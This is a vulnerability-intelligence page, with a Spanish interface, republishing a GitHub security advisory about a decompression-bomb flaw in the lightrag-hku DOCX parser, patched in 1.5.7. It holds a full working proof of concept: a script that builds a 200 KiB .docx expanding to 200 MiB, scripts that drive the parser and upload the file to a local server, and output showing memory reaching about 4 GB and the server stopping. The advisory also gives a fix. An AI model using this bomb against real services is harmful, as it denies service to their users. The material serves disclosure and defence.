llamaCVEVulnerability Intelligence
/
Advisory · GitHub · PyPI · lightrag-hku

GHSA-2WPJ-FFVV-2PQ8

Decompression bomb: a 200 KiB .docx expands without bound during parsing

Parche disponible
Descargar PNG JSON
CVSS 3.1
6.5
Media
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -3 d de la divulgación
Exposición75 dDesde la divulgación, 4 sept 2026, 8:14 p. m.
Detección74 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 1.5.7
Monitoreo
Detectada +1
2 sept 26
5 sept 26
18 nov 26
19 nov 26
2 sept 26
21 sept 26
11 oct 26
31 oct 26
19 nov 26
FechaFaseEventoDetalle
Remediación Parche 1.5.7 lightrag-hku · -3 d desde divulgación
Divulgación Publicada GHSA-2WPJ-FFVV-2PQ8 divulgada · CVSS 6.5 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

A `.docx` is a ZIP archive. Nothing on the DOCX parsing path checks how much data comes out of it: `validate_source` tests only that the path exists, is a file, and ends in `.docx`, and `word/document.xml` is then read into memory whole.

A 200 KiB `.docx` holding one paragraph of repeated text expands to 200 MiB of XML — 1,024× at the ZIP layer. Uploading that file drove a server from a 254 MB baseline to 4.0 GB peak RSS, and `/health` stopped responding and did not recover.

Neither existing size control bounds this. `MAX_UPLOAD_SIZE` (default 100 MB) bounds the *compressed* artifact on disk. `MAX_REQUEST_BODY_BYTES` bounds the request body — with it set to 1 MiB the 200 KiB upload sails through untouched. At the observed amplification, an upload the default configuration explicitly permits expands into the terabytes.

The codebase already contains the correct guard, written for the external-parser ZIP path and documented as a zip-bomb guard. The DOCX path does not use it.

Affected component

`validate_source` admits any file with the right suffix — no size, no ratio (`lightrag/parser/docx/parser.py:37-44`):

def validate_source(self, source: Path, file_path: str) -> None:
    if not (
        source.exists() and source.is_file() and source.suffix.lower() == ".docx"
    ):
        raise ValueError(
            f"Native parser does not support pending file: {file_path}"
        )

The archive is then opened and read in full. `python-docx` materialises `document.xml` in memory (`lightrag/parser/docx/parse_document.py:1125`):

doc = Document(file_path)

and the same file is reopened as a ZIP in four more places, none of them budgeted — `lightrag/parser/docx/parse_document.py:318`, `lightrag/parser/docx/numbering_resolver.py:149` and `:236`, `lightrag/parser/docx/drawing_image_extractor.py:95` and `:202`:

with zipfile.ZipFile(docx_path, "r") as zf:

The control that looks like it should stop this bounds the wrong quantity — the compressed file on disk (`lightrag/api/config.py:861-862`):

args.max_upload_size = get_env_value(
    "MAX_UPLOAD_SIZE", 104857600, int, special_none=True
)

The guard already exists in this codebase, for the external-parser ZIP path (`lightrag/parser/external/_zip.py:32-53`):

    Optional zip-bomb guards (both default ``None`` = unlimited, preserving the
    original behaviour for existing callers): ``max_entries`` caps the member
    count and ``max_total_bytes`` caps the summed *uncompressed* size declared
    in the archive's central directory. Both are checked from ``infolist()``
    metadata *before* extraction, so a malicious archive is rejected without
    being written to disk.
    """
    dest_dir.mkdir(parents=True, exist_ok=True)
    buf = io.BytesIO(payload)
    with zipfile.ZipFile(buf) as zf:
        infos = zf.infolist()
        if max_entries is not None and len(infos) > max_entries:
            raise RuntimeError(
                f"Refusing zip with {len(infos)} entries (max {max_entries})"
            )
        if max_total_bytes is not None:
            total = sum(info.file_size for info in infos)
            if total > max_total_bytes:
                raise RuntimeError(
                    f"Refusing zip: uncompressed size {total} bytes "
                    f"exceeds limit {max_total_bytes}"
                )

That `sum(info.file_size for info in infos)` is the only place in the entire package that consults an uncompressed size. The DOCX path never calls it, and its single caller (`lightrag/parser/external/docling/client.py:315`) passes neither limit, so both default to unlimited:

safe_extract_zip(resp.content, raw_dir)

Root cause

POST /documents/upload, 200 KiB bomb.docx, valid credentials
  → MAX_REQUEST_BODY_BYTES: body is 200 KiB, under any sane ceiling → passes    (admission_middleware.py:45-49)
  → MAX_UPLOAD_SIZE: bounds the file ON DISK, 200 KiB << 100 MB → passes        (config.py:861-862)
  → validate_source(): exists / is_file / suffix == ".docx" → passes            (parser/docx/parser.py:37-44)
  → Document(file_path) reads word/document.xml whole                           (parse_document.py:1125)
  → 200 KiB of ZIP becomes 200 MiB of XML, then a ~200 MiB Python str
  → four further unbudgeted ZipFile opens over the same archive
  → peak RSS ~4.0 GB; the process thrashes and stops serving

Every control on this path bounds the *compressed* size. Nothing bounds the *uncompressed* size, which is the quantity that determines memory use — and which the ZIP central directory declares up front, before a single byte is decompressed.

PoC

Part A drives the parser directly and needs no server. Part B is the end-to-end upload.

Setup
git clone https://github.com/HKUDS/LightRAG
cd LightRAG
git checkout 22ea2d0cbfa2b7002aa118bd0bf1780a69d489bc
python -m venv .venv
source .venv/bin/activate          # Windows: .venv\Scripts\activate
pip install -e ".[api]"
pip install psutil                 # PoC only, to read RSS
Build the file

Benign by construction — one paragraph of a repeated character. The defect is that nothing bounds the expansion, not the content.

# make_bomb.py
import os
import zipfile

CT = """<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
<Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>
<Default Extension="xml" ContentType="application/xml"/>
<Override PartName="/word/document.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml"/>
</Types>"""

RELS = """<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="word/document.xml"/>
</Relationships>"""

MIB = 200

filler = "A" * (MIB * 1024 * 1024)
doc = (
    '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>'
    '<w:document xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main">'
    "<w:body><w:p><w:r><w:t>" + filler + "</w:t></w:r></w:p></w:body></w:document>"
)

with zipfile.ZipFile("bomb.docx", "w", zipfile.ZIP_DEFLATED, compresslevel=9) as z:
    z.writestr("[Content_Types].xml", CT)
    z.writestr("_rels/.rels", RELS)
    z.writestr("word/document.xml", doc)

comp = os.path.getsize("bomb.docx")
print(f"compressed .docx : {comp / 1024:.1f} KiB")
print(f"document.xml     : {len(doc) / 1024 / 1024:.1f} MiB uncompressed")
print(f"amplification    : {len(doc) / comp:,.0f}x")
compressed .docx : 200.0 KiB
document.xml     : 200.0 MiB uncompressed
amplification    : 1,024x
Part A — the parser admits it and expands it (no server)
# parse_bomb.py
import os
import threading
import time
from pathlib import Path

import psutil

proc = psutil.Process(os.getpid())
peak = [proc.memory_info().rss]
stop = threading.Event()


def _watch():
    while not stop.is_set():
        peak[0] = max(peak[0], proc.memory_info().rss)
        time.sleep(0.05)


threading.Thread(target=_watch, daemon=True).start()

base = proc.memory_info().rss / 1024 / 1024
print(f"baseline RSS {base:.0f} MB;  bomb.docx = {os.path.getsize('bomb.docx') / 1024:.0f} KiB on disk")

from lightrag.parser.docx.parser import NativeDocxParser

Path("pd").mkdir(exist_ok=True)
Path("ad").mkdir(exist_ok=True)

src = Path("bomb.docx")
parser = NativeDocxParser()
t0 = time.time()
try:
    parser.validate_source(src, "bomb.docx")
    print("validate_source: PASSED - no size or compression-ratio guard")
    blocks, meta, extra = parser.extract(
        src, parsed_dir=Path("pd"), asset_dir=Path("ad"), base_name="bomb"
    )
    total = sum(len(b.get("content", "") or "") for b in blocks)
    print(f"extract OK: {len(blocks)} block(s), {total / 1024 / 1024:.1f} MiB of text materialised")
except Exception as exc:
    print(f"raised {type(exc).__name__}: {str(exc)[:200]}")

stop.set()
time.sleep(0.2)
print(
    f"elapsed {time.time() - t0:.1f}s   peak RSS {peak[0] / 1024 / 1024:.0f} MB "
    f"(delta +{peak[0] / 1024 / 1024 - base:.0f} MB)"
)
baseline RSS 16 MB;  bomb.docx = 200 KiB on disk
validate_source: PASSED - no size or compression-ratio guard
extract OK: 1 block(s), 200.0 MiB of text materialised
elapsed 1.4s   peak RSS 667 MB (delta +650 MB)

Expected: a refusal at `validate_source`, or at the latest before `Document()` reads the part — the central directory declares 200 MiB before anything is decompressed, so the information needed to refuse is available for free.

Observed: `validate_source` returns cleanly, `extract` returns one block holding the full 200 MiB, and 200 KiB on disk becomes 650 MB of resident memory in 1.4 s. A repeat run gives 588 MB.

Part B — end-to-end upload against a running server

1. Offline LLM backend, so the server boots without credentials to a real provider and nothing measured is model latency:

# mock_llm.py
import hashlib, json, time
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer

DIM = 32

def _vec(text):
    h = hashlib.sha256(text.encode("utf-8", "replace")).digest()
    return [((h[i % len(h)] / 255.0) * 2 - 1) for i in range(DIM)]

class Handler(BaseHTTPRequestHandler):
    protocol_version = "HTTP/1.1"
    def log_message(self, *a): pass

    def _json(self, obj, code=200):
        body = json.dumps(obj).encode()
        self.send_response(code)
        self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)

    def do_GET(self):
        if self.path.rstrip("/").endswith("/models"):
            self._json({"object": "list", "data": [{"id": "mock", "object": "model"}]})
        else:
            self._json({"ok": True})

    def do_POST(self):
        n = int(self.headers.get("Content-Length") or 0)
        raw = self.rfile.read(n) if n else b""
        try:
            payload = json.loads(raw or b"{}")
        except Exception:
            payload = {}
        if "embeddings" in self.path:
            inp = payload.get("input") or [""]
            if isinstance(inp, str):
                inp = [inp]
            self._json({"object": "list", "model": "mock-embed",
                        "data": [{"object": "embedding", "index": i, "embedding": _vec(str(t))}
                                 for i, t in enumerate(inp)],
                        "usage": {"prompt_tokens": 1, "total_tokens": 1}})
            return
        self._json({"id": "chatcmpl-mock", "object": "chat.completion",
                    "created": int(time.time()), "model": "mock",
                    "choices": [{"index": 0, "finish_reason": "stop",
                                 "message": {"role": "assistant", "content": "MOCKLLM_ANSWER"}}],
                    "usage": {"prompt_tokens": 1, "completion_tokens": 1, "total_tokens": 2}})

ThreadingHTTPServer(("127.0.0.1", 11435), Handler).serve_forever()

2. `.env`. `MAX_REQUEST_BODY_BYTES` is deliberately set to 1 MiB to show it does not apply; `MAX_UPLOAD_SIZE` is left at its 100 MB default:

HOST=127.0.0.1
PORT=9621
WORKING_DIR=./rag_storage
INPUT_DIR=./inputs

LIGHTRAG_API_KEY=testkey123

LLM_BINDING=openai
LLM_BINDING_HOST=http://127.0.0.1:11435/v1
LLM_BINDING_API_KEY=mock
LLM_MODEL=mock

EMBEDDING_BINDING=openai
EMBEDDING_BINDING_HOST=http://127.0.0.1:11435/v1
EMBEDDING_BINDING_API_KEY=mock
EMBEDDING_MODEL=mock-embed
EMBEDDING_DIM=32

MAX_ASYNC=2
EMBEDDING_FUNC_MAX_ASYNC=2
TIMEOUT=30
LOG_LEVEL=INFO

MAX_REQUEST_BODY_BYTES=1048576

3. Start both: `python mock_llm.py &` then `lightrag-server`.

4. Upload the file and watch the server's memory:

# upload_bomb.py
import subprocess
import threading
import time

import psutil


def server_proc(port=9621):
    """Resolve the server by its listening socket, not by command line."""
    for conn in psutil.net_connections(kind="inet"):
        if conn.status == psutil.CONN_LISTEN and conn.laddr and conn.laddr.port == port and conn.pid:
            try:
                return psutil.Process(conn.pid)
            except psutil.NoSuchProcess:
                pass
    return None


proc = server_proc()
if proc is None:
    raise SystemExit("no server listening on 9621")

base = proc.memory_info().rss / 1024 / 1024
print(f"server pid {proc.pid}, baseline RSS {base:.0f} MB")

peak = [proc.memory_info().rss]
stop = threading.Event()


def _watch():
    while not stop.is_set():
        try:
            peak[0] = max(peak[0], proc.memory_info().rss)
        except Exception:
            pass
        time.sleep(0.1)


threading.Thread(target=_watch, daemon=True).start()

out = subprocess.run(
    [
        "curl", "-s", "--max-time", "300", "-X", "POST",
        "-H", "X-API-Key: testkey123",
        "-F", "file=@bomb.docx",
        "http://127.0.0.1:9621/documents/upload",
    ],
    capture_output=True,
    text=True,
)
print("upload response:", out.stdout[:160])

for i in range(40):
    time.sleep(3)
    try:
        cur = proc.memory_info().rss / 1024 / 1024
    except Exception:
        print("server process GONE (OOM-killed)")
        break
    if i % 4 == 0:
        print(f"  t+{(i + 1) * 3:>3}s  RSS {cur:7.0f} MB   peak {peak[0] / 1024 / 1024:7.0f} MB")

stop.set()
print(f"PEAK RSS {peak[0] / 1024 / 1024:.0f} MB from a 200 KiB upload (baseline {base:.0f} MB)")

code = subprocess.run(
    ["curl", "-s", "-o", "/dev/null", "-w", "%{http_code}", "--max-time", "15",
     "http://127.0.0.1:9621/health"],
    capture_output=True, text=True,
).stdout
print(f"/health after: {code or '000'}   (000 = no response)")
server pid 4260, baseline RSS 254 MB
upload response: {"status":"success","message":"File 'bomb.docx' uploaded successfully. Processing will continue in background.","track_id":"upload_20260802_012347_e60379a2"}
  t+  3s  RSS     660 MB   peak     660 MB
  t+ 15s  RSS     445 MB   peak    3217 MB
  t+ 27s  RSS    3015 MB   peak    3217 MB
  t+ 39s  RSS    3260 MB   peak    3898 MB
  t+ 51s  RSS    3748 MB   peak    3898 MB
  t+ 63s  RSS    3104 MB   peak    4032 MB
  t+ 75s  RSS    2545 MB   peak    4032 MB
  t+ 87s  RSS    2067 MB   peak    4032 MB
  t+ 99s  RSS    1608 MB   peak    4032 MB
  t+111s  RSS    1970 MB   peak    4032 MB
PEAK RSS 4032 MB from a 200 KiB upload (baseline 254 MB)
/health after: 000   (000 = no response)

Expected: the upload is refused — with `MAX_UPLOAD_SIZE` and `MAX_REQUEST_BODY_BYTES` both configured, a file that declares 200 MiB of content should not be parsed unbounded — and in any case the server keeps serving other requests.

Observed: the upload returns `status: success` with a track id, memory climbs to 4032 MB, and `/health` returns nothing (`000`) thereafter. Repeat runs peak at 4093 MB and 3877 MB, each ending with `/health` unanswered; the amplification is stable at roughly 20,000× the uploaded file.

The 1 MiB `MAX_REQUEST_BODY_BYTES` ceiling was active throughout and never applied: the request body is 200 KiB.

Evidence

  • `sum(info.file_size for info in infos)` at `lightrag/parser/external/_zip.py:48` is the only uncompressed-size check in the package. Searching `lightrag/parser/` for `file_size`, `compress_size`, `decompress` and `ratio` returns no other guard, and none on the DOCX path.
  • A `.docx` placed in `INPUT_DIR` reaches the same parser through `POST /documents/scan`, so the upload endpoint is not the only route in.
  • 200 MiB was chosen to stay demonstrable on a laptop. `MAX_UPLOAD_SIZE` permits 100 MB by default; the same construction at that size declares hundreds of gigabytes in its central directory.

Impact

Any user who can upload a document can exhaust the server's memory. On the single-process deployment the documentation treats as default, that ends service for everyone: in both runs above the process stopped answering `/health` and did not recover. Under a memory limit — a container, a cgroup, `lightrag-gunicorn` — the process is OOM-killed instead.

The economics are the point. The attacker sends 200 KiB and the server allocates gigabytes, a ratio of about 20,000:1, so no bandwidth-based or request-rate control is a meaningful defence. The file passes every existing size check because all of them measure the compressed form.

An operator who has set both `MAX_UPLOAD_SIZE` and `MAX_REQUEST_BODY_BYTES` has used every size control the configuration surface offers and is still exposed.

Remediation

Check the declared uncompressed size before parsing. The archive's central directory carries it, so the check costs one `infolist()` and no decompression — the same approach `safe_extract_zip` already documents:

import zipfile

MAX_PARSED_DOCUMENT_BYTES = 512 * 1024 * 1024   # configurable
MAX_COMPRESSION_RATIO = 200


def validate_source(self, source: Path, file_path: str) -> None:
    if not (
        source.exists() and source.is_file() and source.suffix.lower() == ".docx"
    ):
        raise ValueError(
            f"Native parser does not support pending file: {file_path}"
        )
    try:
        with zipfile.ZipFile(source) as zf:
            total = sum(info.file_size for info in zf.infolist())
    except zipfile.BadZipFile as exc:
        raise ValueError(f"Not a readable .docx: {file_path}") from exc
    compressed = source.stat().st_size
    if total > MAX_PARSED_DOCUMENT_BYTES or (
        compressed and total / compressed > MAX_COMPRESSION_RATIO
    ):
        raise ValueError(
            f"Refusing {file_path}: declares {total} uncompressed bytes "
            f"from {compressed} on disk"
        )

Two further steps close the remaining gaps:

The central directory is attacker-controlled and may understate the real size, so the pre-check is necessary but not sufficient. Read members through `ZipFile.open()` with a counting wrapper that aborts past the same budget, rather than reading whole parts into memory — that makes a lying header self-correcting.

Pass the limits that already exist. `safe_extract_zip` takes `max_entries` and `max_total_bytes` but both default to unlimited, and its only caller (`lightrag/parser/external/docling/client.py:315`) supplies neither, so the external-parser ZIP path is unbounded for the same reason. Give both call sites real values.

Documenting that `MAX_UPLOAD_SIZE` bounds the compressed artifact — not the parsed document — would also help operators reason about what they have actually limited. A regression test asserting that a high-ratio `.docx` is refused before `Document()` is reached would keep this closed.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:N
AltoBajoNinguno
IntegridadI:N
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida Última
lightrag-hku≤ 1.5.6
1.5.6
1.5.7
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
pypilightrag-hku
Corregida 1.5.7 -3 d 1.5.7 no afectada
Versiones corregidas1.5.7
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/HKUDS/LightRAG/security/advisories/GHSA-2wpj-ffvv-2pq8

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.